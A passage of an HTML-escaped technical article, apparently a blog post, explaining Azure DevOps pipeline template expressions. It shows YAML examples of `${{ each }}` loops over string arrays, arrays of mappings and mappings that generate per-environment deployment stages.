text-anchor='middle' x='224' y='884' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='964' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='500' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='580' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='676' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='756' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='804' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='884' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='964' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='580' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='676' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='756' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='804' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='884' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='964' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='580' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='676' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='756' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='804' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='884' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='964' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='308' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='500' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='580' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='804' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='884' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='500' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='676' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='804' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='884' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='580' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='884' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='500' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='580' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='676' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='884' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='308' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='580' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='676' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='884' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='308' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='500' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='580' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='676' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='884' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='676' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='884' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='676' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='884' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='388' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='388' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='468' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='484' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='468' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='484' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='468' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='484' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='468' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='484' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCompile-Time:\u003c/strong\u003e This phase happens on the Azure DevOps server before any agent is assigned. It is where \u003ccode\u003e${{ }}\u003c/code\u003e syntax is resolved.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExpanded YAML:\u003c/strong\u003e This is the final, static structure of the pipeline. You can view this in the portal via \u0026ldquo;Download full YAML\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRuntime:\u003c/strong\u003e This phase happens during execution. Expressions like \u003ccode\u003e$(var)\u003c/code\u003e or \u003ccode\u003e$[var]\u003c/code\u003e are resolved here, but they cannot change the pipeline\u0026rsquo;s structure (stages/jobs).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHere are the same three environments expressed as a string array, an array of mappings, and a mapping, with the corresponding \u003ccode\u003e${{ each }}\u003c/code\u003e syntax for each:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Form 1: Array of strings\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# env binds to the string value (\u0026#34;dev\u0026#34;, \u0026#34;staging\u0026#34;, \u0026#34;prod\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to ${{ env }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expands to three stages: Deploy_dev, Deploy_staging, Deploy_prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Form 2: Array of mappings\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# env binds to the full mapping; access properties via env.name, env.region\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying ${{ env.name }} to ${{ env.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eSERVICE_CONNECTION\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expands to three stages: Deploy_dev, Deploy_staging, Deploy_prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Each stage carries its own region and service connection values\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Form 3: Mapping\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# sub binds to a wrapper; sub.key is the map key, sub.value is the map value\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esubscriptions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eeastus\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-001\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ewesteu\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-002\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eapsouth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esub-003\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each sub in parameters.subscriptions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ sub.key }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ sub.key }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ sub.value }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                az account set --subscription $(subscriptionId)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Deploying to ${{ sub.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expands to three stages: Deploy_apsouth, Deploy_eastus, Deploy_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Note: mapping keys iterate in alphabetical 